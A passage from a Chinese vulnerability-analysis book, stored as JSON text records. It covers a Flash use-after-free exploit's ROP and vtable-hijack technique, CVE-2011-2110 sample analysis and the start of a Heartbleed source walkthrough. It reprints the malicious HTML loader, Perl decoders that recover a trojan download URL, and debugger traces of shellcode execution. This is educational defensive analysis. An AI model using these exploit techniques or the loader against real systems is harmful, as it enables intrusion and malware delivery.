    {"text": "图7-55 设置Flash基址 354 漏洞战争：软件漏洞分析精要 图7-56 追踪JIT调用方法 来自阿里的h4ckmp同学也在微博上分享其制作的avmplus符号文件（下载地址：http://vdisk. weibo.com/s/BY9EvewxqT4D_/1435050804），导入IDA后（按“Shift+F5”组合键后按Insert键添加下 载的sig文件）可以帮助识别大部分的Flash模块中的函数，以当前最新版Flash 18.0.0.209为例，能够 识别其中3001个函数，也有一些识别不了，特别是Adobe自己在avmplus基础上添加或修改过的函数， 如图7-57所示。 图7-57 加载avmplus符号文件识别Flash函数 7.6.4 漏洞利用 在测试Metasploit生成的利用代码时，发现其相当稳定，此处就直接针对它的利用技术进行分析。"},
    {"text": "首先，在主线程中创建一堆Vector.<Object>用于构建内存布局，然后间隔释放它们，从而产生内存间 第7章 释放重引用漏洞分析 355 隙，然后用ByteArray填充每个Vector元素，如图7-58所示。 图7-58 利用Vector.<Object>构建内存布局 接下来，在Worker线程里面，清除ByteArray，然后分配Vector.<uint>(1022)，并修改vector的长 度，从0x3FE变成0xFFFFFFFF，如图7-59所示，相应的调试情况，笔者已直接以注释形式写在代码 中。 图7-59 释放ByteArray，并修改vector对象长度 开始计算ov[0][0]所在内存地址，它通过读取ov[0][0x403]的值获取，但在图7-59中，我们知道ov 数组的元素大小为1014(0x3F6)长度的Vector.<Object>对象，所以ov[0][0x403]已经超过单个元素大 小，它就相当于ov[1][0x0d]，这个位置的值刚好是vector地址偏移0x18，所以要获取ov[0][0]（等同 ov[0]）的地址等于ov[0][0x403]-0x18-0x1000，相应的调试情况如图7-60所示。 356 漏洞战争：软件漏洞分析精要 图7-60 获取ov[0][0]内存地址 继续获取后面用于写入rop+Shellcode的buffer地址，其实就是设置长度0x500000之后的ByteArray 对应的buffer，如图7-61所示，里面0x40是buffer偏移ByteArray对应的位置，8是头信息大小，其中的 vector_read函数定义如图7-62所示。 图7-61 获取buffer地址 图7-62 vector_read函数 由于addr（0x06ee1cd0）< ov[0][0]（0747c000），所以： Buffer = vector_read(vector_read(06ee1cd0)+8)+0x100000 = vector_read(ov[0][ 0xffffffff-(0747c000-06ee1cd0)/4-1] +8)+0x100000 = vector_read(ov[0][ ffe99732] +8)+0x100000 = vector_read(06e274b8+8)+0x100000 = 0x0e310000+0x100000 // 0x0e310000 刚好就是 ba.length=0x500000 对应的 domainMemory 地址， 如图 7-60 所示 = 0x0e410000 其实从上面可以知道 vector_read(06ee1cd0)=0x06e274b8，如果直接用 WinDbg 查看，可以发现其实 第7章 释放重引用漏洞分析 357 vector_read 就是直接读取指定地址的内存值。 0:026> dd 06ee1cd0 l1 06ee1cd0 06e274b8 然后，获取vector对象中的虚表指针，如图7-63所示，通过它去搜索PE头来定位Flash模块基址， 如图7-64所示，同时通过覆盖它来劫持程序的执行流程。 图7-63 获取虚表指针 图7-64 暴力搜索flash模块基址 接下来，设置buffer的长度值length为0xffffffff，如图7-65所示。 图7-65 设置buffer的长度 再利用获取的Flash基址获取相应API的函数地址及其他ROP指令，然后覆盖虚表地址，最后调用 toString会触发伪造的虚表指针被引用，如图7-66所示。"},
    {"text": "此时，虚表指针及偏移0x70的虚函数均已经篡改，当调用虚函数时，就成功执行到ROP指令， 如图7-67所示。 首条ROP指令是xchg eax,esp，目前是将栈顶esp切换到虚表地址，这样当返回之后， 就可以在栈上执行我们预置的下一条ROP指令xchg eax,esi，返回后就执行到VirtualProtect函数，对 buffer内存设置可执行属性，如图7-68所示，再调用WinExec执行PowerShell命令，如图7-69所示，以 此绕过ASLR+DEP保护，最后成功弹出计算器。 358 漏洞战争：软件漏洞分析精要 图7-66 伪造虚表指针并构造ROP指令 图7-67 调用伪造的虚函数 第7章 释放重引用漏洞分析 359 图7-68 调用VirtualProtect修改ROP指令所在内存的可执行属性 图7-69 调用WinExec执行PowerShell命令 360 漏洞战争：软件漏洞分析精要 7.6.5 漏洞修复 下 载 临 近 版 本 的 漏 洞 修 复 版 本 16.0.0.352，依然按照上面介绍的方法，对UnprotectClear与 notifyGlobalMemoryChanged函数下断点，运行后发现并没有断下。"},
    {"text": "于是笔者使用调试版flashplayer16_0r0_305_win_sa_debug.exe打开 poc.swf，直接弹出提示发生ActionScript错误“This API cannot accept shared ByteArrays”，如图7-70 所示。 图7-70 ActionScript错误提示 看下上面栈回溯中显示的第34行代码，下面的ba（即ByteArray）具有sharedable共享属性： ApplicationDomain.currentDomain.domainMemory = ba 也就是说，具有sharedable共享属性的ByteArray是不允许设置为domainMemory的，自然也就没 有后面的释放ByteArray与创建domainMemory的行为，这就是Adobe针对此漏洞的修复方式。"},
    {"text": "7.7 本章总结 本章主要介绍了UAF的漏洞原理及利用，这类漏洞在浏览器利用中最为常见，因此挑选了IE和 Firefox作为实例，同时也结合频繁出现漏洞的PDF与Flash作为示例，这里只是取比较有代表性的漏 洞讲解，当然，还有其他比如PHP或者Office也出现UAF漏洞，但究于篇幅，很难一一细讲到。 基于 前面的几个漏洞实例分析，介绍了几种不同的漏洞分析技巧，比如PDF分析工具pdfpeef的使用，AVM 虚拟机源码分析、IE浏览器漏洞分析技巧等，这些是笔者平时常用的技巧，希望对读者有所帮助。"},
    {"text": "第8章 数组越界访问漏洞分析 361 第 8 章 数组越界访问漏洞分析 8.1 数组越界与溢出的关系 在网上的多数漏洞分析文章中，经常没有具体区分数组越界与溢出，有时也把数组越界直接称 为溢出漏洞，这有时是正确的，但不是通用的，两者之间既有交集，也有其区别之处。 1. 数组越界访问包含读写类型，而溢出属于数据写入 通常数组越界访问是由于数组下标数值超出数组元素个数导致的，比如定义数组buf[5]，但程序 却通过buf[8]访问数据，此时即为数组越界。 数组的读写操作有时是同时并存的，比如在第2.2节中的 栈溢出示例程序，程序越界索引栈上分配的数组，同时又向其写入数据，最终造成溢出。 2. 部分溢出漏洞的本质就是数组越界 导致溢出的原因有多种，有些正是由于对数组下标范围未做有效限制，导致允许越界访问数组 并对其写入数据，比如前面提到的第2章的栈溢出示例程序，它就是由于数组越界导致的栈溢出，如 果数组是分配在堆上的，就是堆溢出，由此可见，部分溢出漏洞的本质就是数组越界，这就是一些 数组越界索引漏洞直接被称为溢出的原因。 3. 数组越界犹如倒水时倒错水杯，溢出犹如倒水时水从杯子里漫出来 如果要用一些比较形象具体的例子来做比喻的话，也许上面这句话就是最好的总结。 8.2 数组越界访问漏洞原理 下面我们以C代码为例讲解数组越界访问漏洞的原理，其代码如下： #include \"stdio.h\" int main(){ int index; 漏洞战争：软件漏洞分析精要 362 漏洞战争：软件漏洞分析精要 int array[3] = {111, 222, 333}; printf(\"输入数组索引下标：\"); scanf(\"%d\", &index); printf(\"输出数组元素：array[%d] = %d\\n\", index, array[index]); //数组越界读操作 // array[index] = 1; // 数组越界写操作 return 0; } 测试环境如表8-1所示。"},
    {"text": "表8-1 测试环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 简体中文版 编译器 Microsoft Visual C++ 6.0 企业中文版 说明：实验过程中的一些地址可能会出现变化，读者需要在实际测试中调试确定。"},
    {"text": "当输入的数组下标 索引值为0、1、2时，都会依次得到正常的数组值：111、222、333，但从索引值3开始就超出原定数 组array的范围，比如下标输入5时，就会越界访问array数组，导致读取到不在程序控制范围内的数值。 通过VC6调试该程序，直接查看array数组所在栈数据，可以发现array[5]（从0开始计算）刚好就 是从array开始往后第6个数据0x4012A9（十进制：4199081），已经读取到array数组之外的数据了， 如图8-2所示。"},
    {"text": "图8-1 数组越界示例程序输出结果 图8-2 array数组的栈数据 如果越界访问距离过大，就可能导致访问到不可访问的内存，导致程序崩溃，如图8-3所示。"},
    {"text": "第8章 数组越界访问漏洞分析 363 图8-3 因数组越界导致程序崩溃 8.3 CVE-2011-2110 Adobe Flash Player 数组越界访问漏洞 8.3.1 漏洞描述 2011 年 6 月 爆 发 了一款Adobe Flash漏 洞，当时被频繁用于 网页挂马攻击，尤其 是在韩国，受此漏洞 攻 击 的 电 脑 数 量 最 多。 由于Adobe Flash Player 存 在 一 处 数 组 越界访问漏洞，导致 利用该漏洞可执行任 意代码。"},
    {"text": "图8-4 Blackhole界面 364 漏洞战争：软件漏洞分析精要 8.3.2 解决安装旧版Flash Player的限制问题 有时，当我们已经安装了较新版的Adobe Flash Player后，由于需要装回旧版Adobe Flash Player 用于漏洞分析，可能在安装过程中遇到如图8-5所示的情况，导致无法装回旧版Adobe Flash Player。"},
    {"text": "安装程序在安装时会去注册表中检查该机器上曾经安装过的最高版本，如果当前安装的版本比注册 表中写入的最高版本还低，就会发出警告并终止安装。"},
    {"text": "图8-5 安装旧版Flash Player时出错 因此，通过修复注册表可解决此问题，打开注册表编辑器（“运行”中输入regedit），将[HKEY_ LOCAL_MACHINE/SOFTWARE/Macromedia/FlashPlayer/SafeVersions]下高于你当前安装版本的项 删掉即可，如图8-6所示。 图8-6 修改注册表 这里将注册表中的10.0与11.0这两个项删除之后，重新运行安装程序即可成功安装，如图8-7 所示。"},
    {"text": "第8章 数组越界访问漏洞分析 365 图8-7 成功安装旧版Flash Player 8.3.3 通过Perl脚本辅助分析样本 样本主要通过HTML网页加载触发漏洞的swf文件，HTML代码如下： <!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.0 Strict//EN\" \"http://www.w3.org/TR/xhtml1/DTD/ xhtml1-strict.dtd\"> <html xmlns=\"http://www.w3.org/1999/xhtml\" lang=\"en-US\" xml:lang=\"en-US\"> <head> <title>test</title> <meta http-equiv=\"Content-Type\" content=\"text/html; charset=utf-8\" /> <style type=\"text/css\" media=\"screen\"> html, body { height:100%; background-color: #ffffff;} body { margin:0; padding:0; overflow:hidden; } #flashContent { width:100%; height:100%; } </style> </head> <body> <div id=\"flashContent\"> <object classid=\"clsid:d27cdb6e-ae6d-11cf-96b8-444553540000\" width=\"550\" height=\"400\" id=\"test\" align=\"middle\"> <param name=\"movie\" value=\"main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51 d3527b7ab7387656\" /> <param name=\"quality\" value=\"high\" /> <param name=\"bgcolor\" value=\"#ffffff\" /> <param name=\"play\" value=\"true\" /> <param name=\"loop\" value=\"true\" /> <param name=\"wmode\" value=\"window\" /> <param name=\"scale\" value=\"showall\" /> <param name=\"menu\" value=\"true\" /> 366 漏洞战争：软件漏洞分析精要 <param name=\"devicefont\" value=\"false\" /> <param name=\"salign\" value=\"\" /> <param name=\"allowScriptAccess\" value=\"sameDomain\" /> <!--[if !IE]>--> <object type=\"application/x-shockwave-flash\" data=\"main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d 3527b7ab7387656\" width=\"550\" height=\"400\"> <param name=\"movie\" value=\"main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51 d3527b7ab7387656\" /> <param name=\"quality\" value=\"high\" /> <param name=\"bgcolor\" value=\"#ffffff\" /> <param name=\"play\" value=\"true\" /> <param name=\"loop\" value=\"true\" /> <param name=\"wmode\" value=\"window\" /> <param name=\"scale\" value=\"showall\" /> <param name=\"menu\" value=\"true\" /> <param name=\"devicefont\" value=\"false\" /> <param name=\"salign\" value=\"\" /> <param name=\"allowScriptAccess\" value=\"sameDomain\" /> <!--<![endif]--> <a href=\"http://www.adobe.com/go/getflash\"> <img src=\"http://www.adobe.com/images/shared/download_buttons/get_ flash_player.gif\" alt=\"get Adobe Flash Player\" /> </a> <!--[if !IE]>--> </object> <!--<![endif]--> </object> </div> </body> </html> <script language=\"javascript\" src=\"http://count23.51yes.com/click.aspx?id=232134399&logo= 1\" charset=\"gb2312\"></script> 上面的代码主要是加载main.swf文件，并传递info参数，上面3处main.swf都是传递相同的info参 数（关于info参数的含义后面会有所分析），主要针对IE和非IE两个版本来设置，因此实际上它只会 第8章 数组越界访问漏洞分析 367 加载一次main.swf文件： <param name=\"movie\" value=\"main.swf?info=02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51 d3527b7ab7387656\" /> 接下来，用JPEXS Free Flash Decompiler反编译main.swf文件，反编译代码有600多行，我们首先 找到info参数的用途。"},
    {"text": "图8-8 info参数的处理代码 在获取info参数后，调用hexToBin函数将十六进制字符串转换成二进制数据流，然后将每字节依 次与122进行异或运算，最后调用uncompress函数解压数据。"},
    {"text": "笔者通过Perl脚本实现对上述字符串的 解码，脚本代码如下： #!/usr/local/bin/perl use strict; use warnings; use Compress::Zlib; my $decode_str = \"\"; my $str = pack'H*','02e6b1525353caa8ad555555ad31b637b436aeb1b631b1ad35b355b5a93534ab51d3527b7ab73 87656'; while($str =~ /(.)/g){ $decode_str .= chr(ord($1) ^ 122); } printf(\"解码：%s\\n\",uncompress($decode_str)); 执行后得到一个文件下载地址：http://www.amcia.info/down/cd.txt，如图8-9所示。"},
    {"text": "图8-9 url解码结果 368 漏洞战争：软件漏洞分析精要 继续往后看SWF反编译代码，如图8-10所示，它会检测navigator.userAgent值，当发现非IE或者 非Firefox浏览器时直接弹出如图8-11所示的错误框，同时也会检测Flash Player是否属于调试版 （Capabilities.isDebugger），是否支持64位处理器（Capabilities.support64BitProcesses），是否在PDF 中嵌入SWF（Capabilities.isEmbeddedInAcrobat），如果上述情况为真，则也会弹出图8-11所示的错 误框。 图8-10 SWF反编译代码 图8-11 解压缩数据时弹出的错误框 继续往后看反编译代码，样本会去下载http://www.amcia.info/down/cd.txt文件，同时设置监听函 数onLoadComplete，如图8-12所示。"},
    {"text": "图8-12 设置页面加载完成后的监听函数 第8章 数组越界访问漏洞分析 369 监听函数onLoadComplete主要是下载cd.txt，并将其与122进行异或解密，最后再调用test函数利 用漏洞做进一步攻击，如图8-13所示。"},
    {"text": "图8-13 异或解密下载的文件 对于cd.txt的解密，我们仍然可以使用Perl脚本来完成，解密代码如下： #!/usr/local/bin/perl use strict; use Compress::Zlib; my $decode_str = \"\"; my $str = \"\"; open (FILE, 'C:\\Users\\Administrator\\Desktop\\cd.txt') || die (\"打开文件失败！"},
    {"text": "\\n\"); while(<FILE>){ $str .= $_; } close FILE; while($str =~ /(.|\\n|[0x00-0xff])/g){ $decode_str .= chr(ord($1) ^ 122); } open(DECODE_FILE, \">decode_file.bin\") || die (\"创建文件失败！ \\n\"); 370 漏洞战争：软件漏洞分析精要 print DECODE_FILE uncompress($decode_str); close DECODE_FILE; 解密后用十六进制编辑器查看解密出来的decode_file.bin文件，可以发现这是一个PE可执行程 序，如图8-14所示。 图8-14 decode_file.bin文件 我们将decode_file.bin重命为decode_file.exe，然后上传到金山火眼进行自动化行为分析，得到如 图8-15所示的结果，可以看到这是个游戏盗号木马。"},
    {"text": "表8-2 分析环境 推荐使用的环境 备注 操作系统 Windows 7 SP1 简体中文版 浏览器 Internet Explore 8 — 调试器 Immunity Debugger 版本号：1.85 反汇编器 IDA Pro 版本号：6.1 漏洞软件 Adobe Flash Player ActiveX 控件版本号：10.3.181.22 SWF 反编译器 JPEXS Free Flash Decompiler 版本号：2.1.0u2 Flash 编译器 Adobe Flash Builder 版本号：4.7 SWF 样 本 会 从 www.amcia. info下载其他文件，而且样本只 运行在服务端，但由于恶意站点 已失效无法访问，为方便动态调 试，此时就需要自行搭建服务 器，将样本放置在服务器上。 在 图8-16 搭建服务器放置cd.txt文件 放置样本时，应该注意在根目录 下添加crossdomain.xml文件，否 则无法正常执行swf样本，同时 在 根 目 录 下 放 置 包 含 cd.txt 的 down文件来，以便完成样本的下 载动作。 笔者是在Mac系统上搭 建的Apache服务器，放置的样本 文件及目录如图8-16所示。 由于SWF样本会访问www. amcia.info站点，因此笔者修改 Windows 7 下 的 host 文 件 ， 将 www.amcia.info指向搭建的服务 器 IP （ 笔 者 用 的 内 网 中 的 192.168.1.102），如图8-17所示。 完成以上的环境搭建后，我 们 用 IE8 打 开 http://www.amcia. 图8-17 配置host文件 372 漏洞战争：软件漏洞分析精要 info/cve-2011-2110.html，同时用Fiddler抓取HTTP数据包，从图8-18中可以看到，所有的网络请求都 顺利完成。"},
    {"text": "图8-18 嗅探网络数据包 用IE打开后，会出现scvhost.exe崩溃的情况，如图8-19所示。 最初笔者以为是系统不稳定导致的， 但是每次用IE访问cve-2011-2110.html都是必现，因此怀疑这里跟漏洞触发相关。"},
    {"text": "从图8-20中可以发现， scvhost.exe是由IE启动的，并且它不是微软官方的scvhost.exe，而是临时目录下创建的程序，只是病 毒作者写的scvhost.exe程序兼容性不够好，才导致在Windows 7 SP1系统上崩溃。 如果读者对比前面 分析的decode_file.bin与scvhost.exe这两个文件MD5值，发现两者是一致的，因此基本可以确定是样 本利用漏洞执行的下载并解密的恶意程序scvhost.exe。"},
    {"text": "图8-19 程序崩溃 图8-20 通过Malware Defencer查看进程行为 第8章 数组越界访问漏洞分析 373 8.3.5 通过修改样本代码定位漏洞 在前面步骤中已经能够触发漏洞并执行恶意程序，但分析漏洞时，我们需要跟踪触发漏洞时的 第一现场。"},
    {"text": "对于这种情况，尤其是SWF文件，我们可 以通过修改EXPLOIT中的ActionScript代码，重编译出swf，使得在调试程序时触发异常，以方便我们 进一步分析漏洞成因。"},
    {"text": "如图8-21所示，程序通过越界索引rest参数数组，利用获取的值经过一定计算得到baseaddr地址， 然后再利用它来构造ROP指令，如图8-22所示。"},
    {"text": "图8-21 通过越界索引数组获取baseaddr地址 374 漏洞战争：软件漏洞分析精要 图8-22 构造ROP指令 在程序的后面还有两次通过越界索引rest参数数组获取信息泄露地址，如图8-23所示。 图8-23 利用多次越界数组获取泄露地址 第8章 数组越界访问漏洞分析 375 可以看到，样本中的主要利用代码就是那三处信息泄露，为了触发程序崩溃，笔者修改了第1处 信息泄露，修改rest的索引值为0x41414141（该值不是越大越好，比如0xFFFFFFFF就不会导致崩溃， 可以手工测试几次，找到能够使其崩溃的索引值），然后重编译成SWF文件。"},
    {"text": "var _loc2_:Number = new Number(parseFloat(String(rest[0x41414141]))); 笔者直接在Mac上用Adobe Flash Builder创建一个新项目，然后将前面的反编译代码复制到src目 录下的Main.as文件中，在修改完参数数组索引值0x41414141后再重新编译，如图8-24所示。 图8-24 用Adobe Flash Builder编辑代码 接着，用生成的SWF文件替换原有的main.swf，重新用IE打开后程序崩溃，如图8-25所示。"},
    {"text": "图8-25 导致IE崩溃 376 漏洞战争：软件漏洞分析精要 重新用WinDbg附加IE进程，然后打开cve-2011-2110.html，在调试器中异常中断： (fdc.c78): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=41414141 ebx=05f81040 ecx=0208ce64 edx=0208ce64 esi=05f13fc0 edi=05edd0d0 eip=63af24b5 esp=0208ccf4 ebp=0208ce10 iopl=0 nv up ei pl nz na po nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00050202 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\\Windows\\system32\\Macromed\\Flash\\Flash10s.ocx - Flash10s!DllUnregisterServer+0x274e3d: 63af24b5 8b0481 mov eax,dword ptr [ ecx+eax*4 ] ds:0023:070dd368=???????? 熟悉汇编的同学应该很容易看出这里的ecx+eax*4其实就是用来索引数组元素的，由于索引值eax 已经被我们设置成0x41414141，导致数组越界访问，最终造成程序崩溃，也证明了前面分析样本代 码时的推测。"},
    {"text": "最后，样本通过将前面泄露的包含NOPsled+ROP+Shellcode的地址传递给Number对象达到执行 任意代码的目的： Number(rest[0x3FFFFFBA]); 下面对0x6e80000下内存访问断点（注意：由于笔者用调试器重新加载进程，因此这里0x6e80000 变成0x06b60000），看哪里会索引这块包含Shellcode的内存数据。"},
    {"text": "当程序第2次断下时，可以看到 它会执行以下指令： 0:005> ba r4 06b60000 0:005> g Breakpoint 2 hit eax=06bc4010 ebx=05c97670 ecx=00000001 edx=00000000 esi=01f4bee4 edi=06b60000 eip=63eb4bc0 esp=01f4bea4 ebp=01f4beac iopl=0 nv up ei ng nz ac pe cy cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040297 Flash10s!DllUnregisterServer+0x2a7548: 63eb4bc0 8d048d00000000 lea eax,[ecx*4] 0:005> g Breakpoint 2 hit eax=06bc4010 ebx=05e4d300 ecx=06b60000 edx=00000001 esi=05c97148 edi=05df5000 eip=63e4e40b esp=01f4bef0 ebp=01f4bfe0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206 Flash10s!DllUnregisterServer+0x240d93: 63e4e40b 8b5050 mov edx,dword ptr [eax+50h] ds:0023:06bc4060=63aa2527 对应的上下文指令为： 63e4e409 8b01 mov eax,dword ptr [ecx] // ecx = 0x06b60000 ， [ecx]=0x06b60010 63e4e40b 8b5050 mov edx,dword ptr [eax+50h] // 偏移到 ROP 指令 63e4e40e ffd2 call edx {Flash10s+0x12527 (63aa2527)} // 执行代码 0:005> p eax=06bc4010 ebx=05e4d300 ecx=06b60000 edx=63aa2527 esi=05c97148 edi=05df5000 eip=63e4e40e esp=01f4bef0 ebp=01f4bfe0 iopl=0 nv up ei pl nz na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00040206 Flash10s!DllUnregisterServer+0x240d96: 63e4e40e ffd2 call edx {Flash10s+0x12527 (63aa2527)} 0:005> u edx Flash10s+0x12527: 63aa2527 94 xchg eax,esp 380 漏洞战争：软件漏洞分析精要 63aa2528 c3 ret 63aa2529 84db test bl,bl 63aa252b 7504 jne Flash10s+0x12531 (63aa2531) 63aa252d 3c2c cmp al,2Ch 63aa252f 752d jne Flash10s+0x1255e (63aa255e) 63aa2531 51 push ecx 63aa2532 8b4dfc mov ecx,dword ptr [ebp-4] 到这里，成功执行到ROP指令，然后就执行Shellcode，最后去下载并执行cd.txt解密后生成的 scvhost.exe恶意程序。"},
    {"text": "8.3.7 通过搜索指令序列分析补丁 下 载 并 安 装 修 复 完 CVE-2011-2110 漏 洞 的 Flash Player 10.3.181.26 版 本 （ http://fpdownload. macromedia.com/get/flashplayer/installers/archive/fp_10.3.181.26_archive.zip ） ， 然 后 用 IDA 对 比 分 析 C:\\Windows\\System32\\Macromed\\Flash\\Flash10t.ocx文件与原先的Flash10s.ocx文件。"},
    {"text": "通过上一节的分 析，我们知道数组越界索引的指令位于0x63e824b5，而Flash10s.ocx基址为0x63a90000，之间的偏移 量为0x63e824b5-0x63a90000=0x3F24B5。 用IDA加载原先的Flash10s.ocx，其加载基址为0x10000000， 那么数组越界索引的指令地址位于0x10000000+0x3F24B5=0x103F24B5，如图8-26所示，该指令位于 sub_103F2400函数中。 图8-26 数组越界索引的相关指令 用BinDiff工具做补丁比对，发现原始的漏洞函数sub_103F2400在修复版本中已经被移除，找不 到相匹配的函数，如图8-27所示。 图8-27 未找到相匹配的函数 因此，我们无法直接通过补丁比较分析修复代码，可以先： （1）搜索造成数组越界索引的漏洞指令序列“8B 04 81”，看在修复版本中是否依然存在。 （2）由于漏洞版本号与修复版本号较为相近，各 BinDiff 中各匹配函数的地址都比较相近，大多在 0xFFF 波动范围里，因此可以先在 0x103F2xxx 的地址上搜索第 1 点中的指令序列。 第8章 数组越界访问漏洞分析 381 基于以上两点很容易找到0x103F2426地址处的指令，而且临近指令与原漏洞函数指令有些类似， 它位于函数sub_103F2380中，如图8-28所示。"},
    {"text": "直接用IDA F5看了下，发现对数组索引值添加了判断，避免索引值过大 导致数组越界，如图8-29所示。 图8-29 添加判断逻辑，避免数组越界索引 在调试器中对上述函数下断点： 0:002> lm m Flash* start end module name 61930000 61f5e000 Flash10t (deferred) 0:002> ? 3F2380+61930000 382 漏洞战争：软件漏洞分析精要 Evaluate expression: 1641161600 = 61d22380 0:002> bp 61d22380 然后，单步跟踪到邻近数组索引的指令，可以看到其中的eax正是样本中设置的索引值，说明此 处确实是修复漏洞的相关代码，如图8-30所示。 补丁程序添加了对参数数组索引值大小的判断，当 索引值大于传递的参数数组元素个数时（样本中未向test函数传递参数，因此这里是与0做比较）， 就跳过数组元素索引，可以有效地防止数组越界访问。"},
    {"text": "图8-30 修复漏洞的关键代码 8.4 CVE-2014-0160 OpenSSL TLS 数组越界访问漏洞（“心 脏出血”） 8.4.1 漏洞描述 2014年4月7日，OpenSSL官方发布了一项安全公告，称OpenSSL的HeartBeat心跳模块存在一处 严重漏洞，主要影响OpenSSL 1.0.1~1.0.1f及OpenSSL 1.0.2 beta1测试版，利用漏洞可以造成服务器敏 感信息泄露（比如包含用户登录态的Cookie，甚至是账号密码），即轰动一时的“心脏出血”漏洞。"},
    {"text": "很快在网上就有人公布利用工具，并在乌云上出现不少攻击案例，危害范围也相当广，很多企业受 影响，外部媒体也在大肆炒作，整个互联网顿时血雨腥风。"},
    {"text": "第8章 数组越界访问漏洞分析 383 8.4.2 基于源码对比与跟踪的漏洞分析方法 先解释下“心跳”（HeartBeat）功能，它是指客户端每间隔一定时间就周期性地向服务器发送 简短的数据包，以表示自己仍在线。"},
    {"text": "由于OpenSSL是开源项目，因此可以从官网下载到源码，在RedHat的BUG列表中可以看到补丁 代码比对情况（https://bugzilla.redhat.com/attachment.cgi?id=883475&action=diff），补丁主要修改了 d1_both.c和t1_lib.c文件中的dtls1_process_heartbeat函数与tls1_process_heartbeat函数，从函数名可以看 出这两个函数是用于处理“心跳包”数据的。"},
    {"text": "补丁的代码修改得不多，很容易看到如图8-31和图8-32 所示的关键代码，两个函数主要都是添加了对s->s3->rrec.length的长度值判断。"},
    {"text": "图8-31 补丁代码对比 图8-32 修复代码中加强对长度的判断 384 漏洞战争：软件漏洞分析精要 为了更进一步地了解length字段的用途及漏洞原理，我们从官网下载openssl-1.0.1f源码包做进一 步分析。"},
    {"text": "先用UltraEdit打开OPENSSL源码目录，然后单击“搜索”→“在文 件中查找”选项，在打开的查找窗口中打开“搜索”选项，并选中“搜索子目录”选项，在查找文 本框中输入“typedef struct ssl”，单击“查找”后，结果如图8-33所示。 图8-33 搜索“typedef struct ssl”的结果 在openssl-1.0.1f\\crypto\\ossl_typ.h文件中定义了SSL，它代表ssl_st结构： typedef struct ssl_st SSL; 我们继续用UltraEdit搜索ssl_st结构的定义，按前面的方法搜索关键字“struct ssl_st”，搜索到如 下对ssl_st结构定义的位置： C:\\Users\\Administrator\\Desktop\\openssl-1.0.1f\\ssl\\ssl.h(1114): struct ssl_st 双击打开该文件的1114行内容，然后搜索“s3”（补丁代码中s->s3->rrec.length的s3），发现其 指向ssl3_state_st结构： struct ssl_st 第8章 数组越界访问漏洞分析 385 { /* protocol version * (one of SSL2_VERSION, SSL3_VERSION, TLS1_VERSION, DTLS1_VERSION) */ int version; int type; /* SSL_ST_CONNECT or SSL_ST_ACCEPT */ const SSL_METHOD *method; /* SSLv3 */ /* There are 2 BIO's even though they are normally both the * same. This is so data can be read and written to different * handlers */ ……省略部分内容…… struct ssl2_state_st *s2; /* SSLv2 variables */ struct ssl3_state_st *s3; /* SSLv3 variables */ struct dtls1_state_st *d1; /* DTLSv1 variables */ ……省略部分内容…… } 用关键词“struct ssl3_state_st”继续搜索ssl3_stat_st结构的定义代码： typedef struct ssl3_state_st { long flags; int delay_buf_pop_ret; ……省略部分内容…… SSL3_BUFFER rbuf; /* read IO goes into here */ SSL3_BUFFER wbuf; /* write IO goes into here */ SSL3_RECORD rrec; /* each decoded record goes in here */ SSL3_RECORD wrec; /* goes out from here */ ……省略部分内容…… } 按上述方法找到SSL3_RECORD结构的定义代码，它在openssl-1.0.1f\\ssl\\ssl3.h中定义此结构： C:\\Users\\Administrator\\Desktop\\openssl-1.0.1f\\ssl\\ssl3.h(348): typedef struct ssl3_record_st 386 漏洞战争：软件漏洞分析精要 对应的代码如下： typedef struct ssl3_record_st { /*r */ int type; /* type of record */ /*rw*/ unsigned int length; /* How many bytes available */ /*r */ unsigned int off; /* read/write offset into 'buf' */ /*rw*/ unsigned char *data; /* pointer to the record data */ /*rw*/ unsigned char *input; /* where the decode bytes are */ /*r */ unsigned char *comp; /* only used with decompression - malloc()ed */ /*r */ unsigned long epoch; /* epoch number, needed by DTLS1 */ /*r */ unsigned char seq_num[8]; /* sequence number, needed by DTLS1 */ } SSL3_RECORD; 到这里就可以确认，补丁代码中添加长度值判断，主要就是针对SSL3_RECORD中的length字段 进行检测，它代表着SSL3记录数据的有效长度值，该值可由外部用户控制。 回头看下openssl/ssl/t1_lib.c中tls1_process_heartbeat函数对上面长度值的处理情况。"},
    {"text": "int tls1_process_heartbeat(SSL *s) { unsigned char *p = &s->s3->rrec.data[0], *pl; // p 指向 SSL3 记录数据，即心跳包数据 unsigned short hbtype; unsigned int payload; unsigned int padding = 16; /* Use minimum padding */ /* Read type and payload length first */ hbtype = *p++; // 心跳包类型 n2s(p, payload); // 心跳包长度 payload，n2s 是将双字节转换成单字节 pl = p; // 心跳包数据 if (s->msg_callback) s->msg_callback(0, s->version, TLS1_RT_HEARTBEAT, &s->s3->rrec.data[0], s->s3->rrec.length, s, s->msg_callback_arg); if (hbtype == TLS1_HB_REQUEST) // 心跳请求包类型 { unsigned char *buffer, *bp; int r; /* Allocate memory for the response, size is 1 bytes * message type, plus 2 bytes payload length, plus 第8章 数组越界访问漏洞分析 387 * payload, plus padding */ buffer = OPENSSL_malloc(1 + 2 + payload + padding); // 分配最大可为 65554 （ 1+2+65535+16 ）的内存块 bp = buffer; // bp 指向上面分配的内存块 /* Enter response type, length and copy payload */ *bp++ = TLS1_HB_RESPONSE; // 第 1 字节填充响应类型 s2n(payload, bp); // 将长度值 payload 由单字节转换成双字节，然后填充到 bp 的 第 2、3 字节 memcpy(bp, pl, payload); // 最后填充 payload 长度的 pl 数据（用户提供的心跳包数据）， 而此处 payload 完全由用户控制，当传入过大数值时，可能导致越界访问 pl 之后的数据，若将读取的数据返 回给用户即可造成敏感信息泄露 bp += payload; /* Random padding */ RAND_pseudo_bytes(bp, padding); // 随机填充字节 // 将前面复制进内存区域的数据写入 